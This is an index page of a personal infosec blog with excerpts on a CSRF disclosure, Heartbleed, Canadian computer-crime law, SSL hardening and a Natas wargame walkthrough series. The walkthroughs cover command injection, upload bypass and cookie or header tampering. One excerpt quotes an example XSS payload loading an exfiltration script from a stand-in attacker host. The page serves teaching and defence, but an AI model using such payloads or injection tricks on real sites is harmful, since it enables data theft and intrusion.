Infosec on Hashbang.ca

CSRF vulnerability at CloudAtCost.com

Thu, 11 Dec 2014 02:00:00 -0700

CloudAtCost.com provides low-cost virtual machines hosted in Canada. panel.cloudatcost.com is the management interface, where customers can install OS images, access a console, etc.

System security breach by Jeff Keyzer, CC BY-SA 2.0; resized

A cross-site request forgery (CSRF) vulnerability was discovered in this web application. If a customer could be tricked into visiting a crafted URL while logged in, an attacker could change the victim’s password, gaining access to the management interface.

Legal issues in computer security research

Sat, 19 Apr 2014 01:04:00 -0700

This Thursday, I gave a talk at AtlSecCon 2014. The weather threw a wrench in the organizers’ plans, but they managed to pull off a solid conference. Unfortunately, the talks weren’t recorded this year. The slides are posted on SpeakerDeck, and are embedded below the fold.

I also reprised this talk at NSLUG, and recorded audio, now posted on SoundCloud, and also embedded below the fold.

Finally: late last year, I wrote 3 posts exploring Canada’s computer crime laws (1, 2, 3) which were initial versions of work that eventually became two papers I submitted this semester for a directed studies course. If you were interested in those posts, I’ve embedded the final PDFs below. The talk is a condensed version of that work.

Recovering from Heartbleed

Tue, 08 Apr 2014 13:03:00 -0700

Heartbleed is a critical vulnerability in OpenSSL revealed yesterday. I’m not sure it could be more serious: it allows an attacker to connect to your server and use the TLS heartbeat extension to obtain 64k of server memory (and do it again to get another 64k and again and…) – while leaving no traces in logs. That server memory might include primary key material (private keys), secondary key material (usernames and passwords), and collateral (memory addresses, canaries used to detect overflow, etc)

Exploring Canada's computer crime laws: Part 3

Wed, 06 Nov 2013 16:10:00 -0400

Since the exceptions in copyright law for encryption and security research don’t apply if you’re doing anything criminal, I next looked at the Criminal Code [PDF].

Exploring Canada's computer crime laws: Part 2

Tue, 05 Nov 2013 16:10:00 -0400

Since the exceptions in copyright law for encryption and security research don’t apply if you’re doing anything criminal, I next looked at the Criminal Code [PDF].

Exploring Canada's computer crime laws: Part 1

Mon, 04 Nov 2013 16:10:00 -0400

As someone with an interest in technology, security, and the legal issues surrounding them, I often watch relevant legal cases with interest. Typically, those cases come from the United States. The CFAA has been in the news frequently of late, and not always in a good light. I was pleased to see Zoe Lofgren’s proposed changes, which try to make the law less draconian.

This is typical for Canada – we often see more about American news on topics like this than Canadian. I realized that I really didn’t know what the law in Canada said about so-called computer crimes, although I’ve often wondered. A while back, I took an afternoon to do some reading. I was not happy when that afternoon ended. This is part one of a three-part series on what I found.

Validating SSL certificates for IRC bouncers

Sat, 14 Sep 2013 10:28:00 -0400

IRC bouncers are sort of like a proxy. Your bouncer stays online, connected to IRC, all the time, and then you connect to the bouncer using a normal IRC client. I connect to my bouncer with an SSL-encrypted connection, but I hadn’t been validating the certificate until now. Validating the SSL certificate is critical for thwarting man-in-the-middle (MITM) attacks.

In a MITM attack, the victim connects to the attacker, thinking it is the service they want to talk to (the IRC bouncer in this case). The attacker then forwards the connection to the service. Both connections might use SSL, but in the middle, the attacker can see the plaintext. They can simply eavesdrop, or modify the data flowing in both directions. SSL is supposed to prevent that, but if you don’t validate the certificate, then you don’t know who you’re talking to. I want to know I’m really talking to my IRC bouncer, so let’s figure out how to validate that certificate.

Introducing Hack::Natas

Sun, 18 Aug 2013 15:23:00 -0400

Last Monday, I presented my solutions to the Natas server-side security war games at NSLUG. Afterwards, I spent some time to clean up my code, and I’ve now published it to CPAN as Hack::Natas, which comes with modules and scripts to solve level 15 and 16 in an automated way, plus walkthroughs for all the levels up to 17 written in Markdown (those are almost the same as my blog posts, so you’re not missing out by looking at only one or the other).

Presenting my Natas solutions at NSLUG

Sun, 18 Aug 2013 08:12:00 -0400

I presented my solutions to the Natas server-side security war games at my local linux users’ group. Here’s the recording.

SSL configuration on nginx

Mon, 05 Aug 2013 10:08:00 -0400

This SSL configuration for nginx achieves an A on the SSL labs tool. It’s what this server currently uses.

Server-side security war games: Part 16

Tue, 09 Jul 2013 08:48:00 -0400

This is the last level. We’re challenged with an improved version of level 9 – they’ve added additional “sanitation” to keep us out.

    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }

Server-side security war games: Part 15

Sat, 06 Jul 2013 10:33:00 -0400

We’re nearly at the end! This is the 2nd-last level.

We know there is a users table, with columns “username” and “password”. This time, the code just checks that the username exists. There’s no way to print out the data we want. Instead, we’ll have to do something cleverer.

Server-side security war games: Part 14

Thu, 04 Jul 2013 11:05:00 -0400

In level 14, we see a more traditional username & password form. Let’s check the source code to see if there are holes we can slip through.

Server-side security war games: Part 13

Tue, 02 Jul 2013 13:31:00 -0400

This is level 13. Looks like they claim to only accept image files, in order to close the flaw we used previously. I bet we can get around that restriction just like we did when they disallowed certain characters in the search term. Let’s examine the code.

Here’s the new part of the code:

    if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    }

Server-side security war games: Part 12

Mon, 01 Jul 2013 14:23:00 -0400

In level 12, we’re given a file upload form. Let’s take a look at the code that processes input.

Server-side security war games: Part 11

Fri, 28 Jun 2013 10:04:00 -0400

This is level 11. Your clue is that “XOR encryption” is not encryption. Let’s look in the cookies to find out they have XOR-ed, so we can mess with it.

Server-side security war games: Part 10

Thu, 27 Jun 2013 11:42:00 -0400

Welcome to level 10. “For security reasons, we now filter on certain characters” – okay they’ve gotten wise to our little game. But let’s check how good their countermeasures are.

Well, they don’t allow us to use the semicolon or ampersand any longer. Well that’s not a problem, I know other ways to manhandle that command into doing what I want.

Server-side security war games: Part 9

Wed, 26 Jun 2013 09:31:00 -0400

In level 9, the “Input secret” form is replaced by one that looks like it is searching for words containing the string you provide. Give it a try, and then look at the code.

Well, this is just grepping through a wordlist, using the POSTed needle as a parameter. Since we control the value of that POSTed variable, we can control the command that gets executed. Now we need to figure out how to use that to our advantage.

Server-side security war games: Part 8

Tue, 25 Jun 2013 09:24:00 -0400

Level 8 shows us another “Input secret” form. Let’s examine the source again. This time, there is an “encoded” secret. Let’s try to reverse engineer this. They’re using bin2hex, strrev, and base64_encode – those are all trivially reversible.

Server-side security war games: Part 7

Mon, 24 Jun 2013 10:16:00 -0400

Level 7 is a simple webpage that doesn’t seem to offer us any clues about a vulnerability. Let’s click around those links a bit to see more.

Well, each of these links passes the name of the page to a PHP script, which seems to just stuff the contents of the file into the webpage. So, we should be able to change that URL parameter to whatever we want, in order to get the contents of the file containing the next password.

Server-side security war games: Part 6

Sat, 22 Jun 2013 10:35:00 -0400

On level 6, there is a curious “Input secret” form. I wonder what it does? Well, there is also a “View sourcecode” link, which will presumably show us the source code for that form. Then, we can try to anaylze whether it has any weaknesses we can take advantage of.

Server-side security war games: Part 5

Fri, 21 Jun 2013 10:02:00 -0400

“You are not logged in” – I wonder what that means. Normally, websites use cookies to tell whether you’re logged in. Let’s check if that’s the case here.

If you’re using Google Chrome, press CTRL-J and switch to the “Resources” tab. Expand the “Cookies” item, and select the current domain: “natas5.natas…” and lo and behold there is a cookie there. Named loggedin. With value 0. Remember, the client controls what gets sent in the cookies. That’s our attack vector.

Server-side security war games: Part 4

Thu, 20 Jun 2013 12:17:00 -0400

We got an “access disallowed” error because we were visiting from “”, while authorized users should come from “natas5.blah”. Try the “Refresh page” link. Now the page says we came from “natas4.blah”. This is the referring to the Referer[[sic(https://en.wikipedia.org/wiki/Referer#Origin_of_the_term_referer)] header. But that’s information provided by the client, and we control the client. We can put whatever we want in that header. So, let’s put the natas5 domain, as they kindly suggested.

Server-side security war games: Part 3

Wed, 19 Jun 2013 09:47:00 -0400

There is still nothing on this page, and now if we look at the source, they’ve removed that image. Now there’s a taunt that not even Google will find it this time.

Well, Google is a good little robot puppy who always obeys his master, but we are evil attackers. What rules do robots have to follow that we don’t? robots.txt. Let’s look at what they don’t want Google to see. robots.txt always lives at the root of the domain, so open http://natas3.natas.labs.overthewire.org/robots.txt.

Server-side security war games: Part 2

Tue, 18 Jun 2013 11:00:00 -0400

Use the username “natas2” and the password you obtained in level 1.

There is nothing on the page, nor anything “in” the page, if you look in the source.

Maybe there’s something in one of those external resources we can use. There’s a CSS file, and an image. The CSS file was always there, but the image is new, so let’s see if we can exploit that.

Copy the src for the image, and paste it into the address bar, after the domain part. The full URL is http://natas2.natas.labs.overthewire.org/files/pixel.png.

Server-side security war games: Part 1

Mon, 17 Jun 2013 10:10:00 -0400

Use the username “natas1” and the password you uncovered at level 0 to get in.

Let’s try the same trick as before – only now you can’t right-click. Instead, use CTRL-U to view source, and get the password for the next level.

Lessons learned

Again, this level was easy, but it’s important to understand that people aren’t required to behave the way you want when using your website. Doing validation in client-side javascript, or disabling right-click isn’t going to be effective, so don’t use it for anything security-sensitive.

Server-side security war games: Part 0

Mon, 17 Jun 2013 10:00:00 -0400

overthewire.org has a series of “war games” – challenges that help you learn by doing. Natas is the webserver security series. Although there are walkthroughs already available, I am going to do my own series of posts. Some of the existing walkthroughs are overly complex, and none actually finished all the levels. The war games unfortunately don’t have anything explaining why the example vulnerabilities can be important in real-world scenarios. I’ll try to fill that void.

I’m going to post one every few days, beginning with levels zero and one today.

Adding LUKS hard disk encryption on LVM after the fact

Sat, 15 Jun 2013 17:20:00 -0400

I have an external hard disk enclosure with two disks. I used Logical Volume Manager to create a single logical volume that spanned them, and slowly filled it to about 60% capacity. Lately, I’ve been trying to be more conscious of using encryption, and this was one area where I hadn’t done so. At the time I felt like learning how to do LVM was enough, and LUKS could wait until later. Well, it’s later. Here’s how I added encryption after the fact (without a spare hard disk).

Planning a Content-Security-Policy with Dancer

Fri, 01 Feb 2013 10:06:00 -0400

The same-origin policy is a fundamental part of the security infrastructure of the web. It prevents a web site’s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank’s website gives you some data, it can only be accessed by your bank’s website, and not by scripts from other websites.

That’s a nice theory, it’d be a shame if some evidence happened to it.

In the real world, attackers have found ways to get around the same-origin policy to gain access to data they’re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage – perhaps a username. Well, if your username is <script type="text/javascript" src="http://evil.attacker.com/exfiltrate_browser_data.js"></script>, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter Content Security Policy.

SSL security in HTTP::Tiny

Wed, 18 Apr 2012 16:47:00 -0400

I was asked to add SSL support to a client library, while also moving from home-grown manual HTTP code to a proper module. HTTP::Tiny was ideal because it is pure-Perl, a core module since 5.14 (so it’ll be maintained), and it’s just one .pm file, making it easy to ship.

An application server that supported SSL was provided for testing purposes, but the SSL certificate didn’t match the hostname – HTTP::Tiny correctly rejected connections. I needed to be able to control the settings sent to the underlying IO::Socket::SSL object used for the encrypted connection so I could turn off security features for testing. As I worked on that, David Golden offered invaluable feedback, which greatly improved the design of the features added to HTTP::Tiny.

As of 0.018, HTTP::Tiny is more configurable, and has a simple interface for easily making SSL connections more secure.